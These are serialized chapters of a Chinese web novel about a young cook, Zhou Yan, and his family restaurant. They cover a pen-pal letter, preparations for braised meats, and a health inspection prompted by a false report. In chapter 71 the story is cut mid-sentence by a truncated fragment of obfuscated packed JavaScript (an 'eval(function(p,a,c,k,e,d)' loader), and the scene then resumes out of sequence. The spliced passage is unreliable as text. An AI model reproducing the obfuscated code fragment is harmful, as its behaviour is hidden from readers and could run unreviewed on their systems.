烫的粉嘟嘟的吊龙有多嫩，谁不想尝尝看啊！ 场面一下就反转了。 从一开始的愤怒质问，变成一群人端着个空碗要抢着点餐。 这把旁边的摊贩和路人都给看愣了。 六毛钱一碗的汤锅，这么抢手？ 但那吊龙看着真不错！ 当即也有几个路人走来要点餐。 “碗我收了，大家里边坐，跷脚牛肉现烫现上，味道最巴适。”周杰把碗给收了，直接放到一旁的木桶里，把那碗做好的先给大叔，笑着道：“叔，你赶时间你先吃。” “要得，你娃娃硬是会做生意。”大叔高高兴兴的端着那碗跷脚牛肉坐下，边吃边点头道：“吊龙硬是鲜嫩，切得够薄，烫的时间也恰到好处，配上蘸碟，味道简直不摆了。” “老板，给我们也来两碗跷脚牛肉，六毛钱的。” “这里一碗，我也要尝尝看。” 一会功夫，八张小桌就快坐满了，点的都是六毛钱一碗的。 周杰一边招呼客人，一边和周海一起切牛肠，烫毛肚，忙的不可开交。 “周砚太牛批了，按他说的方法做，客人真的立马接受了这个价格。”周海乐开了花，小声嘀咕。 “那是，周砚比我们聪明太多，好好干，以后跟着他挣大钱，不能给他拖后腿。”周杰的嘴都快咧到耳根了，同样小声说道。 …… “不是，这对吗？” “怎么六毛钱一碗，在码头也抢着点啊？” “你们是不是演我啊？” 周亮亮抱着脑袋，一脸难以接受。 “要不，我们也加两毛？”吴桂花小声道。 周亮亮白了她一眼：“瓜婆娘，你凭啥子加嘛。” “瓜婆娘？老子给你脸了是吧！”吴桂花蹦起来就是一个头槌！ “嘶……” …… 周砚不清楚码头这边的情况，这会正忙着炒菜呢。 “蒜苗回锅肉一份！” “蒜苗回锅肉再加一份！” “蒜苗回锅肉……” 赵红不断来往厨房端菜，顺便传达新点的菜。 今天新上的蒜苗回锅肉，已然成为了客人们的新宠，多人桌必点菜品。 川菜之王，名副其实！ 求月票，求追读！   (本章完) 第68章 山城来信 回锅肉是不少川渝人的心头好，家家都会做，各有各的炒法。 但今天在周二娃饭店吃到的这份蒜苗回锅肉，已然成为不少人心中的回锅肉第一。 “这蒜苗回锅肉炒的好巴适哦！香香糯糯的，点都不油腻。” “好下饭！我看今天中午干三碗饭不成问题！” “强哥，你慢点夹嘛，我才吃一块，你都吃三块了，你这样，我要把我那半赶我碗里了哈。” “哎呀，兄弟伙不讲这些，太好吃了不自觉加快了速度嘛，我慢点，慢点哈。” “厂长甄选，确实没毛病，下次请人吃饭来这里比国营饭店巴适，味道好，又不受气。” “我还打想星期日带我老婆和娃儿来吃，可惜周砚星期日不开门。” 客人们赞不绝口，还有人已经开始考虑请人来吃饭。 周二娃饭店的每一道菜都拿得出手，价格虽然贵点，但是和国营饭店差距不大。 赵东今天和两位固定饭搭子来吃饭，回锅肉的盘子已经光了，连蒜苗都没剩一片，藿香鲫鱼还有点汤汁，被另一人端起全倒碗里拌饭，吃的极香。 赵东起身准备结账，瞧见周砚端着菜从厨房出来，忙开口道：“小周，你们周日开门不？我想跟你定一桌菜，带我老娘和老婆、孩子来尝尝你的手艺，昨天带回去的红烧排骨他们可喜欢吃了。” 有这想法的客人还不少，也是纷纷看向周砚。 工作日，只能跟同事来吃，算是工作餐。 周日不上班，可以带老婆孩子来吃，或者和朋友来小聚，感觉完全不同。 其实这个问题，这两天已经不止一两个客人来问周砚。 之前饭店只卖面和跷脚牛肉，对有聚餐需求的客人吸引力不足，周日纺织厂休息，饭店没有生意自然也跟着休息。 但随着炒菜、烧菜开卖，菜品逐渐丰富，需求自然就出现。 休息日是非工作餐类型餐饮的用餐高峰期，这是客观规律，周砚有研究过。 这类客人消费力较强，比起工作餐更愿意掏钱。 但这周不行。 “不好意思赵主任，这周日我哥结婚，我要去帮忙接亲，没法开门营业。”周砚面带微笑道：“下周我会认真考虑周日营业的事，到时候提前出个公告通知大家。” 赵东闻言有些遗憾，但还是笑着点头：“那确实没办法，喜事肯定是排第一。” 其他客人心里也有数了，那就等周砚的公告。 周砚放下菜，转回厨房，心里还在思索着这件事。 周日没有工人上班，不确定性太强，营业的事情需要谨慎考虑。 而且忙碌六天，周日他也想好好休息休息，三百六十五天连轴转，铁人都受不了。 但是周末聚餐这块蛋糕，着实有些诱人。 特别是朋友聚餐，有可能为饭店拓展纺织厂以外的新客源。 会把饭店作为聚餐的地方，而不是在家自己开火，这样的客人价值一般较高。 做人要把朋友搞的多多的，开饭店则是要把客人搞的多多的。 这事倒也不急，反正这周日横竖没空，下周再细细做打算。 若是能够再增加一些菜品，客人点餐也更好点。 周日他肯定不卖面，也不卖跷脚牛肉，只做炒菜和烧菜的话，至少可以睡个懒觉，会轻松许多。 临近一点钟，工人们都去上班了，店里冷清下来。 周砚扭着腰从厨房出来，便看到一辆二八大杠停门口，邮递员从绿色的邮包里掏出一封信看了眼，抬头冲着店里叫道：“周砚！有你的信！” “来了。”周砚应了一声，快步出门。 “你就是周砚？”邮递员打量着他。 “对，我就是这周二娃饭店的老板周砚。”周砚点头道。 “行，那信交给你了。”邮递员把信递给他，因为是封平信，不需要签字。 周砚看了眼信上的落款，连忙喊住准备走的邮递员：“同志，我如果想寄信的话，要去邮局寄吗？” 小周同志的朋友圈仅限苏稽，并且从未给人写过信，所以周砚确实没这方面的经验。 邮递员回头，笑着指着厂大门侧面立着的绿色邮筒，“你把信装在信封里封好，然后贴上邮票，写明地址和邮编，然后把信丢到邮筒里就行，纺织厂的邮筒每天都会收一遍。平信贴八分钱的邮票就行。” “谢谢同志。”周砚笑着道。 “不客气。”邮递员应了一声，蹬着自行车离去。 正在收碗的赵嬢嬢和赵红停下动作，齐刷刷看向拿着信进门来的周砚。 “夏瑶寄的？”赵嬢嬢关切问道。 “瑶瑶姐姐！”正坐在一旁桌边摆弄芭比娃娃的周沫沫眼睛一亮，也是向着周砚看了过来。 “是她。”周砚的目光从信上挪开，一抬头就对上了三人火热的目光。 愣了一下，周砚默默转身出门，到树下的椅子坐着，小心撕开信封，摸出三页纸。 周砚上学的时候其实收到过不少情书，毕竟学生时代主要吃建模，长得高又长得帅，抽屉里永远不缺情书。 不过除了刚收到那几封他拆开看了，后边收到的他全都直接带回福利院，锁在柜子里。 谈恋爱只会耽误他挣钱的速度，没钱他可太缺安全感了，信是心意，不好丢，就都存着了。 上一世，他活的太匆忙，死的很突然。 世事难料，出门撞大运。 这一世，他父母双全，还有个可爱的妹妹。 虽然目前依旧缺钱，但生活里充满了他以前遥不可及的爱与温暖。 只要把饭店经营好，生活很有盼头。 他的孤寡心态，似乎也出现了一点变化。 比如他现在拆开这封信，好奇从苏稽回去之后的夏瑶发生了什么事，有什么话想和他分享。 周树人说过：当你对一个人产生好奇的时候，也意味着沉沦的开始。 周砚不信老祖宗的鬼话，好奇就是好奇，怎么会沉沦呢。 展开信纸，一行行娟秀的字印入眼帘： “周砚： 见字如晤，展信舒颜。 我们已经安然回到山城，米花糖很好吃，邓虹和玉玉让我谢谢你。 说来有趣，你帮忙递了情书之后，邓虹和马星野感情进展迅速。马星野每天都给她送早餐，还把我们整个宿舍的热水壶倒满。” “老舔狗了。”看到这，周砚忍不住笑着吐槽。 男人，怎么能当舔狗呢！ 继续往下看，讲的都是她生活、学习中遇到的有趣小事。 娟秀的文字，清新的文笔，让周砚仿佛又看到了那个落落大方又蕙质兰心的少女。 周砚的嘴角不知何时扬起，直到看完两页信。 “今天的山城天气还有点闷，但落日好美，我坐在宿舍的窗边看了许久，不知道你有没有看到。 不过，那会你应该在厨房忙吧？ 所以我把它画了下来，与君共赏。 期待你的回信。 辞暮尔尔，烟火年年。 夏瑶。” 周砚翻开第三页，是一张裁剪过的画纸。 炽烈的夕阳，染红了天空，油彩如熔金泼洒，交融出漫天彩霞，红墙镀上淡金色的柔光，远处山峦巍峨剪影也镶了金边，尽显绚丽壮美。 周砚不懂画。 但在这一瞬间感受到了美好。 好像他也看到了红霞满天，落日无限美好。 那个坐在窗边画画的姑娘，翻越山河，将这份美好传递给他。 …… 这章我写了好久啊，但…… 挺满意，哈哈哈哈。 求追读，求月票~~~ 别担心，美食文主线不歪的。   (本章完) 第69章 一生要强的男人！ 周砚拿着画看了许久，直到一个小脑袋从画下方钻了出来，仰着脸，眉眼弯弯，笑眯眯地问：“锅锅，瑶瑶姐姐的信信里面说啥子？有说沫沫吗？” 赵嬢嬢从饭店里探出个脑袋，也是一脸八卦。 “嗯，说了，她让我跟你和赵嬢嬢问好。”周砚笑着说道，伸手把周沫沫拎起来放在腿上，收起两张信纸，把那张画给周沫沫看：“呐，这是瑶瑶姐姐画的夕阳，好看不？” 周沫沫眼睛亮晶晶的，点着脑袋，“好看！好漂酿！瑶瑶姐姐好腻害！” “我看看。”赵嬢嬢也凑了过来，看着那画呆了一会，赞叹道：“画的好漂亮哦！夏瑶不愧是大学生，真有水平！” 赵嬢嬢对大学生的钦佩，在这一刻达到了顶峰。 周砚把画拿回店里，找了两块木板，小心翼翼地夹住，放在二楼。 信封太小，画被折了好几道，他想先把折痕抚平，然后再找个箱子来保存。 对了，还要挂个锁防熊孩子。 以前他不懂什么叫：从前车马慢，书信很远…… 现在他有点懂了。 这比半夜弹出的微信消息：“哥哥，晚上有空吗，我今天可以吃冰激凌。”让人觉得更美好。 从楼上下来，周砚想着要怎么给夏瑶回信。 这些天店里倒是发生了不少事，可以和她分享的事情很多。 但一想到她那清新淡雅的文笔，他就有点懵。 他上一次写信，应该是小学作文？ 开场白要怎么写，才能匹配上那句：见字如晤，展信舒颜？ “夏瑶：你好？” 周砚挠头。 书到用时方恨少。 一生要强的男人，决不能在文笔上输给女人！ 哪怕只是一封日常交流的信，也绝对要匹配上强度！ 写得不好，丢的不是他的脸，是语文老师的脸。 “信封，信纸，邮票都给你贴好了，有空记得给人回信。”赵嬢嬢突然出现，往他手里塞了一堆东西。 “啊？”周砚看着手里的东西，没想到赵嬢嬢比他还着急。 不过这东西他确实用得着，笑着点头：“要得。” 写不了就先放着，等晚上夜黑人静的时候再写。 周砚揣着张淑芬老太太给她写的香料清单，推着自行车出门采购去。 这几天饭店开卖烧菜、炒菜，忙的团团转，把弄卤水的事情都给耽搁了。 老太太可是答应教他煮卤水和养卤水的，这事也该推进了。 老卤水弄不到，那他就自己养一锅。 老太太说得对，卤水还是得自己养的对味，也更知道珍惜。 要做卤菜，那就先得弄口大卤锅。 铁锅不行，铁锅容易生锈，卤水会变黑，一锅卤水用不了几天就废了。 不锈钢锅倒是合适，可惜现在没地买，铝锅就是最优选。 这年代铝锅还没有人人喊打，家家户户都在用铝锅。 周砚在蓉城租房的时候，房东太太的九十八岁的老娘天天用铝锅煮饭煲汤，一口82年的玉鸟牌小铝锅，保养的铮亮。 周砚先去把香料买齐，花了八块二毛，怕一次不成，多买了点作为余量。 反正后边卤煮过程中，也得往卤水里不断添香料来保证味道足够。 骑车去了码头找周杰，他路子广，认识的人多，说不定能给他找到又大又便宜的铝锅。 这会已经过了饭点，摊位上还有零散两三个客人在吃跷脚牛肉。 周海蹲在一旁洗碗，周杰则是站在灶后数钱。 “杰哥，海哥。”周砚停下车，打了声招呼。 “周砚，你来了。”周杰和周海都停下手里的活，笑着迎上前来。 “看来今天生意不错啊。”周砚看着两人道。 周杰点头：“听你的，生意确实好，今天中午卖了七十多碗呢，基本上都点的六毛一份的。” “大家吃了都夸汤味鲜，牛肉嫩，牛杂也香。”周海跟着憨笑。 “那就好。”周砚点头，然后和周杰说了他的来意。 周杰沉吟道：“大铝锅的话，供销社那边多半买不到，我带你再去找老钱问问，他那里总能弄到一些好东西，就是价格会贵点。” “先去看看，有合适的咱们再谈价。”周砚说道。 周杰带着周砚去了一趟黑市，找到了上回买大铁锅的老钱，讨价还价一番，花了十八搞到一口直径六十的铝制桶锅。 玉鸟牌的，东西非常扎实，就是放一年多了，面上有层灰，一抹就铮亮。 家用小铝锅，有票的话，在供销社也就两块多一个。 这种大口径商用的，一般只有单位食堂会采购，用料扎实，一次能烧一百四十升水，炖肉能炖七十斤。 这玩意，跑嘉州也不一定能买到，贵点周砚也咬牙买了。 做生意，就得往长远了考虑。 卤味品类可多着呢，卤鸭货、卤鸡货、卤鹅、卤猪蹄、卤猪头、卤牛肉、卤肉…… 素菜也能卤，藕、笋、豆皮、豆干…… 都是可以拓展的。 哪怕只卖其中几样，卖得好，一百斤都不嫌多。 这锅要是买小了，后边不光要换锅，配套的灶那些都得换。 周砚把锅绑在自行车后座，回去路上顺路找来泥瓦匠，让他们今天就来按照锅的尺寸弄了个专用的土灶。 他也考虑过用蜂窝煤炉，省钱省事，但因为火力不好控制被他放弃。 这里外一下就花出去三十六块二毛，这还没算煮卤水要加的那些骨头、土鸡。 搞卤味，前期投资真不小。 物资匮乏的年代，地里种的出来的东西不值钱，但工业制品却不便宜。 质疑小周，理解小周，成为小周。 “真要搞卤味啊？你奶奶的卤水答应给你了？”赵嬢嬢看着瓦工砌灶，向周砚问道。 “老卤水老太太才不舍得给我呢，不过她答应要教我煮卤水、养卤水，还有怎么卤牛肉那些。”周砚帮忙搬砖赶进度，随口应道。 赵嬢嬢带着几分感慨道：“你奶奶做的卤味，在苏稽那是一等一的好吃，国营饭店都没得那个味。前两年赶场的时候，不止一个人来问她还卖不卖卤牛肉、卤猪头，你要能学会，买的人肯定不少。” “你们说的是以前在石板桥头树下卖卤牛肉、卤猪头的那个张嬢嬢吗？”瓦工张师傅停下手里的动作，回头笑问道。 “对，那就是我老娘。”赵铁英笑点头，“张师也吃过啊？” 川渝这边，喊手艺人和工匠一般是姓后边跟个师字，亲切又带着几分尊重。 “我半大小伙的时候，老汉三天两头带我去买她做的卤猪头肉和卤牛杂来下酒，味道太巴适了，我到现在都记得。”张师咂嘴，带着几分怀念的神情，“特别是卤猪耳朵，软软糯糯又带点脆骨的弹牙，卤香浓郁，吃起来味道简直不摆了，想起来都流口水。” “师父，真有那么好吃啊？”徒弟咽着口水问道。 “你晓得个锤子，当初这张记卤味做出好大名声，不光是苏稽，嘉州都有人专程跑来买回去吃，嘉州还有饭店直接来拿货回去卖的，生意好的批爆。”张师笑了笑，又看着赵铁英和周砚问道：“为啥子后来不卖了呢？现在不是开放个体户了吗？” “我老娘都七十五岁了，年龄大了，没那么好的精力整这些。”赵铁英笑着道。 其实还有一个原因，那就是几个儿子都已经成家立业，用不着她再出来卖卤味养家了。 至于周卫国，他的伤残津贴很高，其实并不缺钱。 老太太是为他成家烦恼，也不是卖卤味能解决的。 周砚把他劝动接受工作安排，只要工作落实下来，这事估计很快就能解决。 周砚听着有些感慨，听老太太自己讲，多少觉得有点吹嘘的成分。 但听泥瓦工老师傅说出来，感觉就不一样了，他奶当年在卤味界确实红极一时啊。 孩童时的味觉记忆，深刻到张师四十岁还在回味，这样的人，在苏稽还有多少呢？ 这卤味。 卖得！ …… 求追读，求月票！！   (本章完) 第70章 我有个朋友（求追读） 张师和徒弟干活麻利，工厂下班前就把灶砌好，还把卫生也搞的干干净净。 从周砚手里接过工钱，张师看着他笑道：“周老板，好好学卤味，你要学成了，我以后肯定经常来照顾你生意。我老汉还经常念叨张嬢嬢做的卤牛杂呢，就是现在他牙齿都只剩下三颗了，怕是嚼不动了。” “要得，我肯定好好学。”周砚笑着点头。 童年白月光这种东西，哪怕本人来了都不好使。 周砚可没把握自己卤出来的东西能让张师满意。 毕竟高中学校后门最好吃的炒饭和馄饨，等大学放假回去再吃，已经没了当初下晚自习后狼吞虎咽的那种感觉。 没办法，外面的妖艳货吃多了，终究是长了见识的。 再看当初风韵犹存的老板娘，也少了几分韵味。 新灶晾在那里，得过两天才能用。 他准备这两天再抽空去回去找一趟老太太，提前打个招呼，到时候好请她来帮忙煮卤水。 这周六要是能把卤水煮好，下周一就能开始尝试卖卤味。 赚钱嘛，就得激情满满，干劲十足。 卤味最大的好处就是不受堂食限制，要啥现称现切，打包带回去一家人一起吃。 厂食堂门口其实就有三个卤味摊，一家生意不错，另外两家也能卖的动，卤味市场是有的，这东西可是不少人下酒的心头好，小孩也爱吃。 两家卖的东西以卤猪货居多，猪头肉、猪耳朵、猪舌头、猪蹄膀，都是畅销货。 生意最好那家卖的甜皮鸭为主，一只甜皮鸭要卖三块二，每天都能卖出去好几只，搭着卖些鸭货和卤猪头肉，生意好得很。 周砚简单炒了两个菜，他们在工厂下班前把晚饭先解决了。 吃饱了才有力气干活。 工厂下班，客人蜂拥而至。 蒜苗回锅肉的口碑传播极快，已然成了客人们的心头好。 不过周砚今天只备了二十份的量，中午卖了十三份，晚餐开卖一会就卖空。 “啊？回锅肉就卖完了啊？我们可是冲着回锅肉来的啊！” “老板，怎么回事？回锅肉那么好卖的菜，你就准备了那么一点吗？” 后边的客人进门，看着挂在估清区的蒜苗回锅肉，吃惊之余，还带着几分气恼。 中午听同事们说的馋了，结果到了店里竟然卖完了？ “不好意思啊各位，我们店的回锅肉坚持用二刀肉，保证最好的口感，今天刚上，所以只备了二十份的量。”赵铁英笑着和客人们解释，又补充了一句；“明天我们会多备点，想吃回锅肉的客人可以提早一点来。” 赵嬢嬢都这么说了，客人也就没再多说，暗自记在心里，明天中午要早点来。 瞧见别人桌上的碎花牛肉、藿香鲫鱼那般诱人，又着实有些走不动道， 来都来了，也就顺势坐下点了几个别的菜，同样吃的有滋有味。 今天的生意，因为多了蒜苗回锅肉这道明星菜，比昨天还更好一些。 老周同志今天没去钓鱼，早早就来店里帮忙，是赵嬢嬢手底下最听话的兵，指哪打哪，叫干啥干啥。 就连周沫沫都没有闲着，搬了个小板凳在门口坐着，见谁都摆几句龙门阵，小狗路过都要打个招呼。 周沫沫小小一只，长得又可爱，嘴巴还甜，谁见了不迷糊，都乐意跟她唠两句。 聊开心了，小家伙还会给推荐自家的菜，夸她锅锅做菜有多厉害，让他们进店尝尝看。 有些客人受不了这种甜心攻势，还就真进来试试看。 这活是赵嬢嬢给她安排的。 别看周沫沫小小一只，一天天精力可太旺盛了。 一天有说不完的话，问不完的为什么。 干了一天的活回到家，她沾床就想睡觉，一点都不想听周沫沫在耳边：“妈妈、妈妈，这是为什么呀？” 虽然幺女很可爱，但她真的累了。 必须要在回家前，让她把精力给消耗掉，回家洗洗，裹上小被子往床上一滚就能睡最好。 下班这个点厂门口人员混杂，不敢让她到处跑。 所以给她放了个工位在门口，她想和谁摆龙门阵就和谁摆。 周砚还给她定了提成，促成一位客人进店，奖励一分钱。 周沫沫倒也不是为了挣这一分钱，她是真话痨，顺便把钱给挣了。 “姐姐，下次再来哦。”周沫沫挥着小手，和吃饱出门的年轻女工挥着小手。 “你好乖哦，姐姐下次再来哈。”女工脸上笑容灿烂，感觉这顿饭的余韵更足了。 晚上营业结束，周砚给周沫沫结算了一毛三分的提成。 小小童工，已经靠自己的小嘴赚到了买糖钱。 “谢谢锅锅！我永远爱你！”周沫沫手里捏着钱，开心地原地蹦起。 “不客气。”周砚笑着摸了摸她的脑袋。 小家伙吆喝进来十三位客人，吃了得有七八块钱的东西，他能挣个三四块吧，提成一毛三分，不知道算不算压榨童工。 反正童工挺开心的，童工她妈也挺开心，作为资本家的他更开心。 三赢！ 洗了碗，他爸妈就先回去了。 今天提早吃晚饭，外边天还是亮的。 周砚挂上锁，又出门找林叔跑步。 “林叔，我有个朋友收到一封信，对方开场白写的‘见字如晤，展信舒颜’，要怎么回才显得有文采啊？”慢跑路上，周砚向林志强问道。 “你这个朋友是不是你自己啊？”林志强看着他笑道：“夏瑶给你写信了？那你问我就问对了，以前在莫斯科，他们都叫我情书小王子。” “今天刚收到，正琢磨着怎么回呢。”周砚倒也不尴尬，反正他脸皮厚，虚心请教：“何解？” “我以前给安荷写信，开场就是：吾爱安荷，你好。”林志强想了想道：“我觉得这样就挺好的啊。” “是挺好……”周砚点头，啥子情书小王子，和他半斤八两嘛。 …… 回到店里，周砚把衣服洗了，笋干泡到盆里，沐浴更衣，记了账后，拿出夏瑶送她的那只派克钢笔，端坐在桌前，面前放着一张新信纸。 他的神情从庄重严肃→苦思冥想→逐渐暴躁→渐渐平静→昏昏欲睡。 写了十几个字的信纸被揉成一团，精准丢进墙角的垃圾桶。 困了，睡觉觉！ 明天还要早起买菜，不能让写信耽误挣钱。 对了，明天有空的话，去一趟镇上的图书馆，看看有没有《与妻书》或其他。 林叔吃了一肚子洋墨水，但老祖宗传下来东西，终究更动人几分。 …… 第二天天蒙蒙亮，小周同志就骑着二八大杠去买菜。 回锅肉过于畅销，他骑车一早就先去抢购二刀肉。 徐老二和章老三给他各留了五斤二刀肉，周砚在市场肉摊上转了一圈，买到了两块不错的二刀肉，并且和老板约定明天还要。 他的自行车后座已经做了改装，两边各装了一个半高的竹编框，能装不少东西，后座把腿往前收收也勉强能坐。 这是目前最优解。 “小叔！” 周砚载着赵嬢嬢和两箩筐满满的货回到饭店，周立辉立马跑上前来帮忙把周沫沫睡觉的背篼放下来。 “看样子力气又涨了不少。”周砚拍了拍周立辉结实的臂膀，这几天来店里提水，厨艺没长进，但力气是涨了不少的。 周立辉憨厚一笑，“我把乘法表都背完了，还学了不少字呢，油、盐、酱、醋、花椒、胡椒、八角、桂皮……我都会写了。” “不错，继续保持，等到放假的时候我考考你，要是能过我这关，寒假你就到店里来学厨。”周砚笑道。 “好！我一定好好学！”周立辉点着脑袋，目光坚定无比。 周砚开始煮高汤，周立辉负责提水，一桶接一桶的井水从厨房提出来倒入一米高的大锅里，他额头上冒起了汗珠，掌心起了老茧，就是没喊一声累。 水提完了，他又去厨房给周砚烧火，看他炒浇头、拉面。 临近七点半，周立辉已经在厨房吃过早饭，从书包里拿出自己装菜的饭盒打开，看着周砚道：“小叔，今天能不能给我装一点酸萝卜？我想带去跟同学一起吃。” “男同学还是女同学啊？”周砚笑问道。 “男同学，我同桌。”周立辉忙道。 周砚瞧了一眼他的饭盒，里边装的是牛腩烧土豆，牛腩只有三四块，还有些牛杂兼着，他妈给他安排的伙食不差，满满当当一饭盒。 “你这饭盒等会要拿去蒸热了吃，酸萝卜装里边可没法吃，我给拿个小罐子装点带去。”周砚走到一旁货柜，挑了个小玻璃罐子，给他装了一罐酸萝卜。 “谢谢小叔！那我先去上课了。”周立辉把酸萝卜和饭盒装进书包，转身跑出门去。 “莽莽撞撞，在学校听老师话，好好吃饭，不要惹事哈。”赵红笑着冲他背影喊道。 “晓得了！”周立辉头也不回应道。 赵红正准备进门，瞧见周卫国骑着一辆崭新的自行车驶来停在饭店门口，笑着问道：“小叔，今天怎么又是新衣服，又是新自行车啊？” 你关注的小破店又更新了一个3k章节，请记得追读，投票哦…… (本章完) 第71章 哪个砍脑阔的睁起眼睛说瞎话！ “今天要去上班。”周卫国把车停好，笑着往店里走来。 他今天穿了一身崭新的藏青色中山装，里边穿的白色的确良衬衣，扣子扣到了最上面那颗，一丝不苟。 他的腿有点跛，空荡荡左袖子微微摇摆，让人忍不住去看，但他走路时上身挺的笔直，配上眼角那道疤，又让人有种不怒自威的压迫感。 店里不少客人看到他的脸后，都愣了一下。 他和周砚长得好像！ 板寸，更成熟，虽然眼角有道疤，但因为长得太过正气，并不让人感到厌恶。 “上班？卫国你的工作安排下来了？”赵铁英端着面出来，给客人上了面，有些惊喜道。 “对。”周卫国找了个空位坐下，微笑道：“四嫂，给我点碗双椒牛肉干拌面。” “要得。”赵铁英应了一声，店里客人多也没细问，转进厨房，笑盈盈道：“你小叔来了，要一碗拌面，他说工作安排下来了，骑着一辆新的二八大杠，换了一身新衣服，肯定是你奶奶给他捯饬的，可神气了。” “真的？”周砚闻言眼睛一亮，要不是手头拉着面，肯定要跑出去瞅一眼，顺便问问小叔分配的什么工作。 小叔转业安置的事情拖了三年多，领导每年过节来探望都跟他谈这事，还让他们家里人做思想工作，所以大概能安排什么职级他们是有点眉目的。 转业前周卫国是上尉连长，战时一等功转业有优待，刚转业回来时给他安排的工作是某国营厂的副厂长，分管保卫科，享副科级待遇，但被他拒绝了。 周砚估摸着，这次的安排应该也差的不多。 一碗碗面被端出厨房，这个点也渐渐没那么忙了。 “四嬢，你瞧那些人是做什么的？在检查什么呢？”赵红站在门口，瞧见一群穿着制服的人顺着摊位一路检查下来，小声问道。 “瞧着应该是卫生部门的人，例行检查，每个月都会来一回。”赵铁英看了一眼，低声道：“快，咱们先把该收的碗筷收了，桌子抹干净，跟周砚也说一声。” “要得。”赵红点头，立马行动起来。 其实周二娃饭店的卫生环境，已经做的极好。 周砚给她们制定了严格的卫生标准，扫地不说，饭店每天还要拖两次地，抹布有两条，一条擦油桌，一条擦第二道，保证每一位客人坐下的时候，桌面都是清爽干净的。 就这一条，国营饭店都做不到。 顾客心里有杆秤，来了两回，自然能感受出差别。 “没事，例行检查，正常对待就行。”周砚听完也是丝毫不慌。 周砚做饭，台面干干净净，有点油渍随手就擦了，这会面也下完了，把白案整理一下，洗个手从厨房出来，便看到卫生防疫站一行三人进门来。 不光是防疫员，后边还跟着两个帽子叔叔。 这阵仗，倒是和平日的例行检查不太一样。 苏稽的卫生防疫工作主要由卫生院承担，三人当中有两位是卫生院的工作人员，带头那位是县卫生防疫站的工作人员，上回跟在高天磊身边的就是他，好像叫朱立强。 “谁是饭店老板？”朱立强问道。 “我是。”周砚上前道。 众人目光落到周砚身上，带着几分审视，也有点意外于他的年轻。 朱立强眼睛微眯，觉得这青年有点眼熟，一时间又想不起来在哪见过，微微点头道：“例行检查，你把卫生许可证和近一个月的进货账本拿出来检查一下，工作人员还会对你的店铺卫生进行检查。” “好。”周砚应了一声，从柜台里翻出证件和账本，递给朱立强。 其他两位防疫员则是开始检查起店里的卫生，从门口的灶台，到店里的各种角落，再到厨房，一人手里拿个手电，检查的非常仔细。 朱立强仔细检查了卫生许可证和进货账单，放在一旁的空桌上，然后拿着手电亲自检查起来。 今天高副站长带队检查，他们刚从国营饭店过来，一路上检查了不少摊贩。 国营饭店还稍微好点，毕竟有每日打扫的规章制度，总体卫生还过得去。 就是抹布和拖把混洗之类的问题依旧存在，屡教不改，属实傲慢。 那些路边小摊的卫生条件就更糟糕了，桌椅板凳藏污纳垢，灶台锅具极其油腻，这一路走来，副站长的脸都黑了。 这会儿还在外面，跟抄手摊老板科普:为什么切了肉的菜板不能直接切葱花？让他先带队来查周二娃饭店。 手指在一旁的空桌上抹过，清爽干净，一点油都没有。 门口立着一口大锅，灶台抹的干干净净，一点水渍都没有，灶下边的灰也清的很干净，灶边堆了十几根青冈木，码的整整齐齐。 早上营业还没结束，但地面保持的挺干净，没有黏脚的陈年油垢。 朱立强往厨房走去，已经有点诧异这个体饭店的卫生标准。 厨房里刚忙完，锅里的面汤还冒着热气，但整个厨房看起来清清爽爽，各种厨具摆放整齐，就连灶台都抹干净了。 面臊子用大号搪瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们家的排骨和二刀肉，每天早上从桥头章老三那里一块八一斤买回来的，哪个莽娃卖瘟猪肉花一块八？！” 赵铁英噌的站了出来，红着眼睛气急道：“你们这些当官的，无凭无据，就张起嘴巴乱说，你晓得我们个体户做点口碑有多难不？” “你一句话就能把我儿的心血毁了！” 朱立强下意识后退了半步，这个妇女此刻就像是一头护犊的母老虎，眼里的凶光令人胆寒。 他往两位帽子叔叔身边靠了一点，这才开口道：“这位女同志，现在我们还没有下定论，只是让你们配合调查，请你冷静一点。” 周卫国眉头一皱，已经站起身来。 周砚却忍不住笑了，看着朱立强道：“同志，举报我的是王七和王老五吧？” (本章完) 第72章 这才是情书老王子嘛！（求追读） “嗯？”朱立强愣了一下，看向一旁的两位帽子叔叔。 两位帽子叔叔也有点惊讶，周砚是怎么知道的？ 确实是王七供出来的周二娃饭店，他信誓旦旦的说周砚是他的长期客户。 不过他们去查过王七的账，没有找到周二娃饭店的购买记录，王七对此的解释是有些账他没有记，咬**周砚常来他这里购买瘟猪肉。 王老五面摊的事情影响不小，还有几个长期吃他家面条的纺织厂工人在扯皮。 周二娃饭店开在纺织厂门口，王七在拘留所里举报之后，所里非常重视，立马联系了卫生站来查证，例行检查只是顺带的。 “周砚，你怎么知道是王七举报的你？莫非你真的在他那里买过瘟猪肉？”朱立强沉声道。 两位帽子叔叔也是盯着周砚，一左一右已经将他退路堵住。 “周砚不会真用瘟猪肉吧？” “不要啊，难得有一家这么好吃的饭店！” 客人们都开始揪心了。 “我没有在王七那里买过瘟猪肉，恰恰相反，他卖瘟猪肉的事情是我发现，并且举报的。”周砚将衣领拉起，盖住口鼻，看着朱立强道：“因为我是目光雪亮的人民群众！” “啊！你！是你！”朱立强眼睛一下子瞪圆了，一脸震惊地看着周砚。 “朱主任，你这是怎么了？”两个防疫员和两个帽子叔叔疑惑的看着他。 高天磊刚科普完走进饭店，看到拉起衣领，说出那句话的周砚，也是一脸吃惊道：“是你！” 王七瘟猪肉事件，就是因为那个目光雪亮的人民群众举报，让他们成功端掉了以王七为首的不法团伙。 这个案子办的漂亮，他们防疫站可是得了嘉奖的。 他一直想感谢这位群众来着，没想到在这遇上了。 不对…… 这周二娃饭店，不就是这次被王七举报使用瘟猪肉的饭店吗？ 这又是怎么回事？ 客人们这会也有点懵。 周砚说王七是他举报的？ 那王七怎么又把他给举报了呢？ “我知道了，王七这是打击报复！故意陷害周砚和周二娃饭店！” 有个客人拍桌道。 众人闻言，顿时豁然开朗。 这就说得通了。 赵嬢嬢的情绪都酝酿到位，准备大杀四方了，一下又给憋了回去，愣愣看着周砚，还有点懵。 周砚放下衣领，看着高天磊笑道：“高站长，我举报王七把他送进去，他还能反过来咬我一口，把我也送进去吗？我是不是有理有据的怀疑，王七这是在打击报复我，诬陷周二娃饭店。” 两位帽子叔叔，带队的是副所长夏季，看着高天磊道：“高站长，这是怎么回事？” “这位年轻同志，就是上个星期举报王七售卖瘟猪肉的热心群众，所以我们才能将王七和王老五等人绳之于法，不过上回他……”高天磊将此事的原委与夏季简单说了一遍。 